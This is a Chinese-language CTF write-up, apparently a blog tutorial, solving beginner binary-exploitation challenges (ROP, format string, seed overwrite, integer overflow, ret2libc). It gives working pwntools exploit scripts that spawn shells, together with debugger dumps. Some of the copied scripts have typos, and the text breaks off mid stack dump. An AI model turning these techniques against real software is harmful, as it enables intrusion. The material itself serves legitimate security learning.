Mac 環境下 PWN入門系列(二)
0x0 前言
菜雞入門,刷題可能是比較快的方式,通過刷攻防世界的新手題能快速了解到pwn的各種類型的題目,然后再仔細分析各種類型的考點。
0x1 閱讀前注意點
由於我是多次調試的,所以內存地址總會發生變化,所以讀者沒必要太關注內存地址,由於內存地址偏移量是不變的,我們只關注內存差值就行了。
0x2 實踐刷題篇
這次我們接着上一篇的,直接把攻防世界新手區的題目刷完吧。
0x2.1 level2
32位題目地址
64位題目地址(pass)
https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
(1)題目描述及其考點
菜雞請教大神如何獲得flag,大神告訴他‘使用面向返回的編程(ROP)就可以了’
考點: ROP
ROP,是因為核心在於利用了指令集中的 ret 指令,改變了指令流的執行順序。ROP 攻擊一般得滿足如下條件
- 程序存在溢出,並且可以控制返回地址。
- 可以找到滿足條件的 gadgets 以及相應 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我們就需要想辦法動態獲取對應的地址了。
(2)wp
首先日常看保護:
可以看到是32位程序, 開啟了NX保護,意味着棧沒辦法執行代碼。
我們打開ida進行分析下
果斷跟進那個顯然漏洞函數:
我們可以很明顯看 buf 的棧大小是: 0x88
這里要注意下 我們是通過填充buf去溢出數據,因為buf和vulnerablefunction函數是在同一個棧的,所以我們這里只能覆蓋vulnerablefunction函數新開的棧的內容
一開始我傻傻地以為直接覆蓋read函數的返回地址呢,read函數讀取數據是從buffer里面讀取的,根本不會有溢出的可能性,況且與buf數組也不在同一個棧空間。
而read可以讀取0x100這樣就存在棧溢出覆蓋vulnerable_function函數返回地址為system函數,但是需要注意的是。
這里我們也要控制傳入/bin/sh作為system的參數,這里我們可以利用程序內部的/bin/sh字符串地址。
我們可以通過覆蓋vulnerable_function 函數棧空間修改ret,達到任意調用system執行任意代碼。這里先扔出exp
#! /usr/bin/env python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' # 這個設置debug能看到exp執行的流程 elf = ELF('./pwn6') sys_addr = elf.symbols['system'] sh_addr = elf.search('/bin/sh').next() # 這里利用了pwntools兩個小用法,方便我們操作 # 我們通過ELF加載elf文件,然后自動搜索里面的函數地址和尋找字符串。 # 這里因為是程序內部存在的,所以我們可以直接找到 # elf.search('/bin/sh').next() 這個其實和我們上面的那個ida直接搜索字符串得到地址是一樣的 payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) # 這里0x88是棧空間大小,然后0x4是覆蓋掉ebp,后面是調用system+任意的system返回地址+參數 # io = remote('111.198.29.45',51157) io = process('./pwn6') io.sendlineafter("Input:\n",payload) io.interactive() io.close()
整得有點復雜,直接看其他人寫的,也非常容易理解:
IDA按Shift+F12查看字符串,發現有shell
buf需要填充0x92個字符(0x88+0x4)
現在可以構造一個system("/bin/sh")的棧幀,通過控制vulnerable_function函數返回到該棧幀的地址,執行system("/bin/sh")來獲取shell
system的地址為08048320
/bin/sh的地址為0804A024
利用代碼如下
from pwn import * r=remote('pwn2.jarvisoj.com',9878) payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) //跳到system地址,返回地址為0xaaaa,參數為/bin/sh
r.sendline(payload) r.interactive()
我自己的代碼:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * elf = ELF('./level2_32') sys_addr = elf.symbols['system'] print("sys_addr:", sys_addr) sh_addr = next(elf.search(b'/bin/sh')) print("sh_addr:", sh_addr) # payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) payload = b'A' * 0x88 + b'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) print("payload:", payload) c = process("./level2_32") # remote('111.198.29.45', 31559) c.sendlineafter("Input:\n",payload) c.interactive()
執行結果:
root@41e8b15e7e58:/data# python pwn_level2_32.py [*] '/data/level2_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) sys_addr: 134513440 sh_addr: 134520868 payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB \x83\x04\x08\xef\xbe\xad\xde$\xa0\x04\x08' [+] Starting local process './level2_32': pid 600 [*] Switching to interactive mode $ ls CGfsb get_shell level0 pwn_cgfsb.py pwn_level2.py test_n.c a.out hellopwn level2 pwn_hellopwn.py pwn_level2_32.py when core kaka.c level2_32 pwn_level0.py pwn_when.py $ pwd /data $
(3)動態調試payload
為了更深入理解這個機制,我們可以通過gdb+pwntools來進行動態調試
我們修改下腳本:
#! /usr/bin/env python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' elf = ELF('./pwn6') sys_addr = elf.symbols['system'] sh_addr = elf.search('/bin/sh').next() payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) # io = remote('111.198.29.45',45800) io = process('./pwn6') context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # 這里配置tmux縱向顯示, gdb.attach(io) io.sendlineafter("Input:\n",payload) io.interactive() io.close()
然后在docker里面(ps.環境看我第一篇入門文章的配置),執行tmux進入新的終端,然后就可以調試了。
這里介紹下tmux的用法:
tmux的前綴是: ctrl + b 代表進入tmux標志
1.
(1)ctrl + b 然后再按冒號: 進入命令行模式,輸入
set -g mouse on 回車之后就可以用滾輪來上下拖動了
(2)我們直接修改配置文件,來長期保持
vim ~/.tmux.conf
set -g mode-mouse on
2.
ctrl+b 然后按住s 可以切換不同的會話
3.
ctrl+b 然后按w可以查看窗口 按n切換到下一個窗口 按p切換到上一個窗口
我們執行下disassemble查看下當前位置
然后finish執行跳出
進入到里面之后,我們打印下棧結構stack 30 如果過長的話 按下回車會繼續顯示
我們可以看到當前棧EBP寄存器已經被我們傳入的數據覆蓋了。
那么具體覆蓋的過程是怎么樣的呢,我們可以更精細化來debugs
一開始我們先不要finish跳出來,我們看下當前的函數調用棧
可以看到是main->vulnerable_function->read->vulnerable_function->main
我們finish執行玩這個函數,就會ret回到read+39繼續執行。
可以看到read一下子把我們的payload填充進去,成功復寫了vulnerable_function函數的函數調用棧,變成了system然后system的父函數是deadbeed(這個就是我們隨便定義的返回地址)
那么具體的復寫機制是怎么樣的呢,這個我們就需要跟蹤程序的執行過程就可以理解為什么這樣布置棧數據了(布置公式: sys_plt+p32(0xdeadbeef)+p32(binsh_addr)
我們繼續finish跳出read函數回到vulnerable_function函數現場。
接着si 3直接跳到ret看下read函數的棧結構 stack
ret指令的作用:
棧頂字單元出棧,其值賦給EIP寄存器。即實現了一個程序的轉移,將棧頂字單元保存的偏移地址作為下一條指令的偏移地址。
上一篇文章說過了,ebp是當前進入函數的指令地址,ebp+4就是下一條指令地址
這就是’A’ * 0x88 + ‘B’*0x4 + p32(sys_addr) 這樣組合的原因。
這里我們可以看到ESP就是就是system函數地址了,那么下一條指令就進去了system函數了
我們繼續si 跟進 分析下后半段payload(p32(0xdeadbeef) + p32(sh_addr))的原因:
跟着system進去上千行代碼是自閉的
其實這個原理就是默認程序調用就是ebp+4 是返回地址,
返回地址+4就是參數值,這個就回到了上面的知識點了,關於參數傳遞的問題。
push 參數
push 返回地址
push 函數地址
(4) 相關參考文章
0x2.2 string
文件下載地址:
鏈接:https://pan.baidu.com/s/1E2AYj1OK3ERkvq3EBEHP9A
提取碼:pye1
(1) 題目描述及其考點
菜雞遇到了Dragon,有一位巫師可以幫助他逃離危險,但似乎需要一些要求
考點: 格式化字符串漏洞
(2) wp
拿到題目后checksec
可以看到是64位的,拖到ida里看一下
這里有個v3=malloc(8uLL),查了一下,最后結果貌似就是v3表示的地址存放了68,v3的后面一個,v3[1]是85
v4=v3,后面輸出了v4,secret[0]輸出的即為68存放的地址,secret[1]輸出的是85存放的地址
然后我們點進函數sub_400D72
先輸入一個長度小於0xC的name,然后我們再依次分析下面這三個函數
第一個函數,分析一波之后,我們要輸入east來繼續下去才行,然后看下第二個函數
這個函數當中,我們看到了printf(&format,&format),這里,我們就可以運用格式化字符串的漏洞了。我們可以在上面的v2處輸入一個地址,然后通過格式化字符串漏洞改變這個地址中存放的值。對了,不要忘了先輸入1讓if語句通過
我們再來看第三個函數
首先,這個函數的參數,a1是什么呢?往前面翻,會發現其實就是上文提到過的v4,即65存放的地址,注意這個v4是int型的
在if語句中,可以看出,v1處需要用到shellcode
但是,讓v1能夠被執行的前提是a1處存放的內容與a1[1]相等,但是,我們知道*a1=68,a1[1]=85,如何讓它們相等?這時候想起來前面有個格式化字符串漏洞,我們可以通過這個漏洞使得這兩者相等。對此,我們要先知道v2在棧中的位置
如圖,那個61616161是我們輸入的aaaa,0x80是我們輸入的128,數一下,128為第七個參數
下面是代碼
from pwn import * sh=remote('111.198.29.45',39819) #注意這里一定要有,聲明是64位程序,32位和64位的shellcode不一樣 context(arch='amd64') sh.recvuntil("secret[0] is ") #這里接收v4,即68存放的地址,16是16進制的意思 v4_addr=int(sh.recvuntil('\n'), 16) sh.sendlineafter("What should your character's name be:","james") sh.sendlineafter("So, where you will go?east or up?:","east") sh.sendlineafter("go into there(1), or leave(0)?:","1") #這里程序需要我們輸入int型,而send發送的是str,所以先int再str sh.sendlineafter("'Give me an address'",str(int(v4_addr))) #這里"%85c7$n"實現的就是向棧內第七個參數所指向的地址寫入85,即將v4處的68改為85 #這里的"%85c7$n"也可以改成'a'*85+%7$n,因為前面有85個字符,所以同樣可以寫入85 sh.sendlineafter("And, you wish is:","%85c%7$n") #獲取shellcode shellcode=asm(shellcraft.sh()) sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode) sh.interactive() #把secret[0]改為secret[1],並把后面的"%85c7$n"改為"%68c7$n",同樣可以成功
flag:cyberpeace{a33f6431be80f0c7c252a96ba955ceee}
我的代碼:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context(arch='amd64') sh = process("./string") # remote('111.198.29.45', 31559) sh.recvuntil("secret[0] is ") v4_addr=int(sh.recvuntil('\n'), 16) sh.sendlineafter("What should your character's name be:","james") sh.sendlineafter("So, where you will go?east or up?:","east") sh.sendlineafter("go into there(1), or leave(0)?:","1") sh.sendlineafter("'Give me an address'",str(int(v4_addr))) sh.sendlineafter("And, you wish is:","%85c%7$n") shellcode=asm(shellcraft.sh()) sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode) sh.interactive()
對於7,再度解釋:
首先需要確定偏移量,由於是64位程序,
前6個參數從左到右存入寄存器,多余的才存入棧,所以我們最好不要把v3的地址放在格式化字符串中,因為有可能就被存入寄存器了,我們也可以用一個和地址相同長度的字符去嘗試一下,一定要相同長度,不然無法確定,會發現在接下來的地址沒有找到,所以我們肯定不能把v3的地址放在格式化字符串中,但前面有一個變量,可以存入長整型,我們就可以把地址存入前面的v2,然后測試一下偏移,如下:
可以看出,偏移量是7
上面代碼執行時對應函數代碼:
unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); # address就是變量v2 _isoc99_scanf("%ld", &v2); # v2變量在這里 puts("And, you wish is:"); _isoc99_scanf("%s", &format); # 格式化字符串輸出 puts("Your wish is"); printf(&format, &format); # 利用他確定偏移量7 puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
由此我們看到偏移地址為7的地方是我們給v2賦的值。
為啥是這樣,我還是沒有太明白,就寫了另外一個程序驗證了下,執行到8行輸入 AAAA.%08x.%
看看stack情況:08
x.%08
x.%08
x.%08
x.%08
x.%08
x.%08
x.%08
x
────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /data/test_printf.c
4 {
5 char format;
6 // char a = "123";
7 scanf("%s", &format);
8 printf(&format, &format);
► 9 return 0;
10 }
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffec50 —▸ 0x7fffffffed50 ◂— 0x1
01:0008│ 0x7fffffffec58 ◂— 0x4100000000000000
02:0010│ rbp 0x7fffffffec60 ◂— 'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
03:0018│ 0x7fffffffec68 ◂— '.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
04:0020│ 0x7fffffffec70 ◂— '8x.%08x.%08x.%08x.%08x.%08x.%08x'
05:0028│ 0x7fffffffec78 ◂— '%08x.%08x.%08x.%08x.%08x'
06:0030│ 0x7fffffffec80 ◂— 'x.%08x.%08x.%08x'
07:0038│ 0x7fffffffec88 ◂— '08x.%08x'
──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
► f 0 55555555517d main+56
f 1 30252e783830252e
f 2 2e783830252e7838
f 3 3830252e78383025
f 4 252e783830252e78
f 5 783830252e783830
f 6 0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ rsp 0x7fffffffec50 —▸ 0x7fffffffed50 ◂— 0x1
01:0008│ 0x7fffffffec58 ◂— 0x4100000000000000 #這里應該是存format,占一個A(0x41)
02:0010│ rbp 0x7fffffffec60 ◂— 'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' #然后剩下的輸入字符都覆蓋了stack上,按照8字節覆蓋(64位機器)
03:0018│ 0x7fffffffec68 ◂— '.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' # 看吧,和上面的相比,就是差了8字節
04:0020│ 0x7fffffffec70 ◂— '8x.%08x.%08x.%08x.%08x.%08x.%08x'
05:0028│ 0x7fffffffec78 ◂— '%08x.%08x.%08x.%08x.%08x'
06:0030│ 0x7fffffffec80 ◂— 'x.%08x.%08x.%08x'
07:0038│ 0x7fffffffec88 ◂— '08x.%08x'
08:0040│ rsi 0x7fffffffec90 ◂— 0x0
09:0048│ 0x7fffffffec98 ◂— 0xaa59258d6d6356a2
0a:0050│ 0x7fffffffeca0 —▸ 0x555555555060 (_start) ◂— xor ebp, ebp
0b:0058│ 0x7fffffffeca8 ◂— 0x0
-----------------------------
其中,這段代碼:printf(&format, &format); 實際上就是在打印stack上的數據,&format里第一個%08X就直接從棧上 0x7fffffffec60 地址處讀取數據了,也就是常量字符串'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'的值(是一個地址)。???
再回到之前說的,我們看到偏移地址為7的地方是我們給v2賦的值。
因此我們可以構造payload="%85d%7$n",預先將打印出的v3的地址寫到v2,然后將85寫入到v2中的地址,即可實現修改v3的內存。
確實有點繞啊、、、、!
(3) 相關參考文章
0x 2.3 guess_num
文件下載地址:
鏈接:https://pan.baidu.com/s/13uowRQszM6GRvKMEYGG16g
提取碼:le64
(1) 題目描述及其考點
菜雞在玩一個猜數字的游戲,但他無論如何都銀不了,你能幫助他么
考點: 棧溢出及其隨機數原理
(2) wp
日常看保護,然后開ida。
保護全開
這個題目的基本思路是通過sub_BB0生成一個隨機數種子,然后想要我們猜對后面的數列,gets函數因為不限制讀取的長度,所以會造成棧溢出,這里涉及到一個很常見的隨機數考點,就是計算機里面很多隨機數都是偽隨機數算法,就是根據一個seed生成一個固定的隨機數數列
所以這個題目的考點就回到如何通過棧溢出覆蓋掉seed[0]
我們可以看到這里的棧溢出保護沒用,因為我們根本不會超出棧空間,

首先是輸入一個名字 然后再一次輸入10個數字 如果10個數字和rand產生的隨機數想同則成功
sub_c3E()函數

直接會cat出flag
rand()函數 產生的是偽隨機數 依靠srand()來產生隨機數 如果 srand的參數相同 那么rand產生的隨機數相同
現在找溢出點 從我們輸入的地方看
首先是輸入名字

這里可以看到 輸入名字的時候可以將seed 覆蓋,而seed就是srand的參數,如果我們將seed覆蓋掉,我們就可以自己寫一個程序利用覆蓋的值 產生隨機數 這樣 本題程序產生的隨機數就已經知道了 一次輸入就可以了
seed 是unsigned int 型的 在64位中 占4個字節 就是四個字符 然后從名字那倒seed中間有0x20個 然后再用用四個a覆蓋掉seed
所以構造payload='a'*0x20+"aaaa"
然后我們看一下用aaaa作為種子產生的隨機數是多少(要將aaaa轉為十六進制)


那么可以寫個exp 也可以直接輸入
from pwnimport *
sh=remote("111.198.29.45","31322")
payload='a'0x20+"aaaa"
sh.sendlineafter("Your name:",payload)
num=["5","6","4","6","6","2","3","6","2","2"]
for iin rang(10):
sh.sendlineafter("Please input your guess number:",num[i])
print(sh.recall())

我的工作代碼:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context(arch='amd64') sh = process("./guess_num") # remote('111.198.29.45', 31559) payload=b'a'*0x20+b"aaaa" sh.sendlineafter("Your name:",payload) num=["5","6","4","6","6","2","3","6","2","2"] for i in range(10): sh.sendlineafter("Please input your guess number:",num[i]) print(sh.interactive())
(3)題目小結
這個題目感覺沒什么考點,不過能鞏固之前學的知識點,而且與一些其他特性結合起來,比如隨機數考點,對於我這個摸魚幾年的web選手來說應該比較熟悉了。
0x2.4 int_overflow
文件下載地址:
鏈接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取碼:s8sy
(1) 題目描述及其考點
菜雞感覺這題似乎沒有辦法溢出,真的么?
考點: 整數溢出
(2) wp
main()函數

login()函數

關鍵函數 check_password()

查看有什么字符


可以利用 cat flag 讀取flag
首先看check_password()函數
v3 為 unsigned _int8 型的 為8字節 可以 存儲的長度 2的8次方=256
v3等於 s的長度

如果v3>=3&&v3<=8 則 是 success
而且可以看到 后邊有 strcpy()函數 這里可以進行棧溢出,將s的數據存入到dest中

可以看到dest的長度是14,如果s的長度足夠大,將cat flag的地址覆蓋到返回地址那,就可以實現讀取flag
但是前邊有條件 v3是大於3小於8的 此時可以利用整數溢出
v3可以存儲最大的長度是256 如果大於這個數將會進行高位截取 對256求余 例如 v3=257 實際多余的部分會直接忽略 等於1
所以 這里s的長度可以是3~8 或者 259~264
這里只要輸入s的長度在259~264之間就可以溢出
這里取262
而s就是輸入給buf的:
puts("Please input your passwd:"); read(0, &buf, 0x199u); return check_passwd(&buf);
所以可以給read讀取輸入262字節。
因為要利用 cat flag 這個來獲得flag 所以查看一下地址


flag_addr=0x08048694
首先存儲dest里的0x14 然后再看一下匯編代碼

想要覆蓋到返回地址,先使用0x14 個數據覆蓋stack拷貝的passed的內存區域,然后使用4字節數據覆蓋ebp,再使用"cat flag"的地址覆蓋返回地址
函數結尾有個 leave 指令 leave 指令等於 mov esp,ebp和 pop ebp 兩條指令的組合,也就是說,在覆蓋函數放回地址之前,還有一次出棧操作,出棧數據大小 4 字節,所以要將這個出棧的數據覆蓋掉
然后jmp會跳轉到下邊
NOP"指令即空指令, 2. 運行該指令時單片機什么都不做,但是會占用一個指令的時間
然后就是返回地址了
所以構造paylod="a"*0x14+"aaaa"+p32(0x08048694)+"A"*234(262-0x14-4-4) ///0x14 =十進制20,總共湊齊262個字節,讓strlen(s)==262,整數溢出
寫exp
form pwn import *
sh=remote("111.198.29.45",43982) //連接這個服務器端口
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:","132")
flag_addr = 0x08048694
payload = "A" * 0x14 + "AAAA" + p32(flag_addr) + "A" * 234
sh.sendlineafter("password:",payload)
print (sh.recvall())

最后我的能夠運行代碼;
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * io = process("./int_overflow") # remote('111.198.29.45', 31559) io.sendlineafter('Your choice:','1') io.sendlineafter('username:','aa') payload = b"A"*24 + p32(0x804868b) +b'A'*234 io.sendlineafter('passwd:',payload) io.interactive()
0x2.5 cgpwn2
文件下載地址:
鏈接:https://pan.baidu.com/s/1MjaJM7ThNQewgIkpFKl3cg
提取碼:v4l7
(1) 題目描述及其考點
菜雞認為自己需要一個字符串
考點: 棧溢出題目_變形
(2) wp
日常checksec
沒有棧溢出保護,上ida
乍看的時候我感覺好像涉及到比較復雜的計算,這個時候我建議直接從后面開始回溯讀取,讓時間最小化。
結果發現我們只要重點關注最后兩行輸入就行了。
很明顯這里用了gets所以我們可以直接retlibc hello函數
我們查看下有沒有system函數,ida查看導入函數表
然后我們還需要找/bin/sh
這里淺淺分析下為什么要找/bin/sh,
1.因為內存地址是動態的,我們沒辦法知道我們寫入的字符串地址
2.我們可以借助一些存放在bss段等可知的內存空間變量
不理解可以查閱相關資料
keyword: 程序是如何加載進內存的
或者后面我會分析一波。
這個題目我們可以利用
fgets(name, 50, stdin);偽造name為一個/bin/sh字符串
我們查看下name的位置,
bingo! 是在bss段(未初始化的變量),所以我們可以寫入一個字符串了
這里注意下c語言字符串末尾必須得帶上\x00
所以這里就是簡單計算的問題了,剛好考驗下剛才level2操作,這里我就不贅述了,直接exp
from pwn import * io = remote('111.198.29.45', 51465) sh_addr = 0x0804A080 io.sendlineafter('name','/bin/sh\x00') io.sendlineafter('here:','a'*42 + p32(0x08048420) + p32(0xdeadbeef) + p32(sh_addr)) #0x08048420
是system函數地址,返回地址:p32(0xdeadbeef)
隨便寫一個,sh_addr是參數 io.interactive()
為啥是42,看stack分布:
-00000038 ; Use data definition commands to create local variables and function arguments. -00000038 ; Two special fields " r" and " s" represent return address and saved registers. -00000038 ; Frame size: 38; Saved regs: 4; Purge: 0 -00000038 ; -00000038 -00000038 db ? ; undefined -00000037 db ? ; undefined -00000036 db ? ; undefined -00000035 db ? ; undefined -00000034 db ? ; undefined -00000033 db ? ; undefined -00000032 db ? ; undefined -00000031 db ? ; undefined -00000030 db ? ; undefined -0000002F db ? ; undefined -0000002E db ? ; undefined -0000002D db ? ; undefined -0000002C db ? ; undefined -0000002B db ? ; undefined -0000002A db ? ; undefined -00000029 db ? ; undefined -00000028 db ? ; undefined -00000027 db ? ; undefined -00000026 s db ? -00000025 db ? ; undefined -00000024 db ? ; undefined -00000023 db ? ; undefined -00000022 db ? ; undefined -00000021 db ? ; undefined -00000020 db ? ; undefined -0000001F db ? ; undefined -0000001E db ? ; undefined -0000001D db ? ; undefined -0000001C db ? ; undefined -0000001B db ? ; undefined -0000001A db ? ; undefined -00000019 db ? ; undefined -00000018 db ? ; undefined -00000017 db ? ; undefined -00000016 db ? ; undefined -00000015 db ? ; undefined -00000014 db ? ; undefined -00000013 db ? ; undefined -00000012 db ? ; undefined -00000011 db ? ; undefined -00000010 db ? ; undefined -0000000F db ? ; undefined -0000000E db ? ; undefined -0000000D db ? ; undefined -0000000C db ? ; undefined -0000000B db ? ; undefined -0000000A db ? ; undefined -00000009 db ? ; undefined -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 +00000008 ; end of stack variables
r和s相差0x26+4=42. 如何找到system地址:方法,IDA里菜單欄Jump-》jump to function-》找到_system,雙擊-》可以看到匯編碼如下:
.plt:08048420 jmp ds:off_804A01C .plt:08048420 _system endp .plt:08048420 .plt:08048426 ; --------------------------------------------------------------------------- .plt:08048426 push 20h .plt:0804842B jmp sub_80483D0 .plt:08048430 ; [00000006 BYTES: COLLAPSED FUNCTION ___gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND] .plt:08048436 ; --------------------------------------------------------------------------- .plt:08048436 push 28h .plt:0804843B jmp sub_80483D0 .plt:08048440 ; [00000006 BYTES: COLLAPSED FUNCTION ___libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND] .plt:08048446 ; --------------------------------------------------------------------------- .plt:08048446 push 30h .plt:0804844B jmp sub_80483D0 .plt:0804844B ; } // starts at 80483D0 .plt:0804844B _plt ends .plt:0804844B
地址:08048420,然后使用tab鍵,可以看到源碼反編譯為:
int system(const char *command) { return system(command); }
而sh_addr的地址如何確定?IDA里反匯編:
char *hello() { char *v0; // eax signed int v1; // ebx unsigned int v2; // ecx char *v3; // eax char s; // [esp+12h] [ebp-26h] int v6; // [esp+14h] [ebp-24h] v0 = &s; v1 = 30; if ( (unsigned int)&s & 2 ) { *(_WORD *)&s = 0; v0 = (char *)&v6; v1 = 28; } v2 = 0; do { *(_DWORD *)&v0[v2] = 0; v2 += 4; } while ( v2 < (v1 & 0xFFFFFFFC) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0; v3 += 2; } if ( v1 & 1 ) *v3 = 0; puts("please tell me your name"); fgets(name, 50, stdin); puts("hello,you can leave some message here:"); return gets(&s); }
雙擊name,可以看到bss里的全局變量:
.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o .bss:0804A080 _bss ends .bss:0804A080 .prgend:0804A0B4 ; =========================================================================== .prgend:0804A0B4 .prgend:0804A0B4 ; Segment type: Zero-length .prgend:0804A0B4 _prgend segment byte public '' use32 .prgend:0804A0B4 _end label byte .prgend:0804A0B4 _prgend ends .prgend:0804A0B4
我自己運行的代碼:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * r = process("./cgpwn2") # remote('111.198.29.45', 31559) system_adr=0x08048420 name_adr=0x0804A080 payload=b'A'*42+p32(system_adr)+p32(0x0)+p32(name_adr) r.recvuntil("please tell me your name") r.sendline("/bin/sh") r.recvuntil("hello,you can leave some message here:") r.sendline(payload) r.interactive()
0x2.5 level3
(1) 題目描述及其考點
libc!libc!這次沒有system,你能幫菜雞解決這個難題么?
考點: 棧溢出_加強版ROP利用lib.so函數
(2) wp
日常checksec
然后上ida
非常簡潔的一個read函數溢出,但是這里沒有system和/bin/sh
我們可以看到libc_32.so.6是開了地址隨機化的,也就是說里面的函數地址是變化,但是不同函數直接的相對偏移地址是不變的(libc.so文件中各個函數的相對位置和加載到內存中之后各個函數的相對位置相同)
換句話說就是這樣:
假設 A在 libc32.so.6中當前的地址是 0x1 B在 libc32.so.6 是0x3 (這個我們可以ida或者readelf查看得到)
當程序進行加載 libc_32.so.6的時候,地址會隨機化
假設A 變成了 0x2 那么我們就可以通過計算 0x2 + (0x3-0x1) = 0x4 得到b的地址
那么我們下面就進行具體的操作吧
pwntools的一些基礎操作介紹:https://www.cnblogs.com/Ox9A82/p/5728149.html
如果不明白pwntools的指令可以先前去學習一下
首先程序加載的時候會有個映射,這就涉及到plt和got表,其中got表存放的就是函數絕對地址
(關於plt+got動態綁定的知識,后面我會重新細講一波)。
可以先掌握一些概念
GOT(Global Offset Table): 全局偏移表
PLT(Procedure Link Table): 程序鏈接表
call printf@plt 就是先去plt表的printf 然后再jmp *printf@got 跳到got表找到真實的printf地址
延遲綁定: 程序在使用外部函數庫的時候並不會將所有函數進行鏈接,而是在使用的時候再重新鏈接
實現延遲綁定:
jmp “地址”
push “ printf引用在重定位表的“.rel.plt”中的下標”;
jump dlruntime_resolve//這個函數是完成符號解析和重定位的;
_dl_runtime_resolve_avx:找到調用它的函數的真實地址,並將它填入到該函數對應的GOT中
可以提前學習一波這個文章。
回到level3
-
首先查保護,只開了NX,沒有canary,那就可以往靠溢出控制程序走向了的方向看題。
-
載入ida后,棧溢出很明顯。
-
但利用起來,既沒有有system函數,也沒有’/bin/sh’。這對於剛接觸pwn還是比較困難的,但本來就學習的過程,看了writeup又去學了下.plt與.got再來做的題。
-
其實程序帶了一個運行庫的,里面有動態鏈接庫的函數及一些其他信息。既然程序里沒有自然就利用這個運行庫了,根據elf文件與pe文件類似,各個函數與數據的相對地址是不變的。利用這一點與我們在程序中是調用了write與read動態庫函數的,隨便選擇一個得到他們的地址,再根據相對地址相加減就得到我們要的函數與數據(system()與‘/bin/sh’)的地址了(整體思路)。
-
首先計算在運行庫里的的read函數與system函數的相對地址。
from pwn import * lib = ELF('./libc_32.so.6') sys_cha = hex(lib.symbols['system']-lib.symbols['read'])
-
計算運行庫中read函數與 ‘/bin/sh’的相對地址。先找到 ’/bin/sh’的地址。
ROPgadget --binary libc_32.so.6 --string '/bin/sh'
-
from pwn import * lib = ELF('./libc_32.so.6') bin_cha = hex(0x0015902b-lib.symbols['read'])
-
有 a-b=c,現在我們有了c,只需通過程序溢出就可以找到b, 最后通 a = b+c得到我們要的地址。
from pwn import * p = remote('220.249.52.133', 54407) elf = ELF('./level3') payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8) p.recvuntil('Input:\n') p.sendline(payload) read_addr = u32(p.recv()[:4])
- 上面為什么是0x88+4看IDA stack情況:
-
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0 -00000088 ; -00000088 -00000088 buf db ? -00000087 db ? ; undefined -00000086 db ? ; undefined -00000085 db ? ; undefined -00000084 db ? ; undefined -00000083 db ? ; undefined -00000082 db ? ; undefined -00000081 db ? ; undefined -00000080 db ? ; undefined -0000007F db ? ; undefined -0000007E db ? ; undefined -0000007D db ? ; undefined -0000007C db ? ; undefined -0000007B db ? ; undefined -0000007A db ? ; undefined -00000079 db ? ; undefined -00000078 db ? ; undefined -00000077 db ? ; undefined -00000076 db ? ; undefined -00000075 db ? ; undefined -00000074 db ? ; undefined -00000073 db ? ; undefined -00000072 db ? ; undefined -00000071 db ? ; undefined -00000070 db ? ; undefined -0000006F db ? ; undefined -0000006E db ? ; undefined -0000006D db ? ; undefined -0000006C db ? ; undefined 